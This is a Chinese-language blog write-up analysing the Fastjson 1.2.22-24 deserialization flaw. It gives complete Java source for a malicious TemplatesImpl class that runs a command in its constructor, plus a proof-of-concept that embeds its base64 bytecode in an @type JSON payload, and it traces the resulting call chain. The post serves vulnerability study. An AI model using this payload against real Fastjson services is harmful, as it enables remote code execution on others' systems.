Fastjson 1.2.22-24 反序列化漏洞分析
最近在學習Java安全,感覺反序列化很牛皮,所以就來學習一哈。我Java水平不咋地,文章如果有錯請指正。
開始
0x00 簡單介紹
介紹:FastJson是一款由阿里開發的JSON庫
影響版本:1.2.22-24
官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315
補丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b
FastJson的簡單使用
先通過一個簡單的demo來熟悉一下FastJson的基本操作。首先建立一個Student類,Student.java:
package ka1n4t.test; public class Student { public String name; private int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }
Students有一個公有屬性name和一個私有屬性age。下面使用一個測試類,將json字串反序列化成Student物件,learnFJ.java:
package ka1n4t.test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.JSONObject; public class learnFJ { public static void main(String args[]) { String text = "{\"@type\":\"ka1n4t.test.Student\",\"name\":\"ZhangSan\",\"age\":123}"; Student obj1 = JSON.parseObject(text, Student.class, Feature.SupportNonPublicField); System.out.println(obj1.getName()); } }
結果:

0x01 原理分析
分析POC
先看一下用於反序列化的惡意類evilClass1.java:
package ka1n4t.poc; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class evilClass1 extends AbstractTranslet/*ka1n4t*/ { public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public evilClass1() throws IOException { Runtime.getRuntime().exec("calc"); } public static void main(String[] args) throws IOException { evilClass1 helloworld = new evilClass1(); } }
其中的構造方法是用exec彈個計算器。看下poc,vulApp1.java:
package ka1n4t.poc; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class vulApp1 { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } String result = Base64.encodeBase64String(bos.toByteArray()); return result; } public static void bad_method() { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); String evil_path = "D:\\Java-App\\fastjson-1.2.22\\target\\classes\\ka1n4t\\poc\\evilClass1.class"; String evil_code = readClass(evil_path); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evil_code+"\"]," + "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } public static void main(String args[]) { bad_method(); } }
核心部分:
String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evil_code+"\"]," + "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
_bytecodes是經過base64編碼的evilClass1的位元組碼檔案,NASTY_CLASS是TemplatesImpl類。總結一下這個payload,利用JSON.parseObject反序列化TemplatesImpl類,其中_bytecodes屬性是經過base64編碼的惡意類位元組碼檔案。
除錯分析
下面來分析一下反序列化TemplatesImpl的呼叫鏈,首先呼叫其getOutputProperties()方法:
然後下面經過java的反射機制,然後到達TemplatesImpl類:
跟進newTransformer()方法,這個方法是用於建立一個Transformer例項。然後到達getTransletInstance()方法:
getTransletInstance()方法用於建立一個translet例項,返回這個translet給newTransformer(),然後被包裹成Transformer物件。跟進一下這個方法,發現其呼叫了defineTransletClasses()用來載入_bytecodes中的類,接著又呼叫了_class[_transletIndex].newInstance()將defineTransletClasses()返回的類進行例項化:
先跟進一下defineTransletClasses方法:
可以看到,使用了loader.defineClass()方法用於載入_bytecodes的內容,並將返回的類賦值給_class[i](這裡的i是0)。loader是TemplatesImpl自定義的類,跟進一下:
可以看到TransletClassLoader繼承了Java類載入器—ClassLoader類,跟進其defineClass方法,發現直接呼叫了父類ClassLoader中的方法,所以就不再跟進了。
回到defineTransletClasses方法,其間接呼叫ClassLoader載入_bytecodes中的內容之後,將加載出來的類賦值給_class[0],然後結束,回到getTransletInstance方法,再看一下圖:
可以看到,455行直接使用了_class[0].newInstance()建立例項,建立的過程中呼叫了evilClass1構造方法,然後觸發了payload:
0x02 復現過程
從github上直接pull下poc:https://github.com/shengqi158/fastjson-remote-code-execute-poc。使用idea開啟工程,編譯test.java:
然後會在target/classes/person下生成test.class檔案。用同樣的方法編譯Poc.java。
配置執行方式
執行Poc: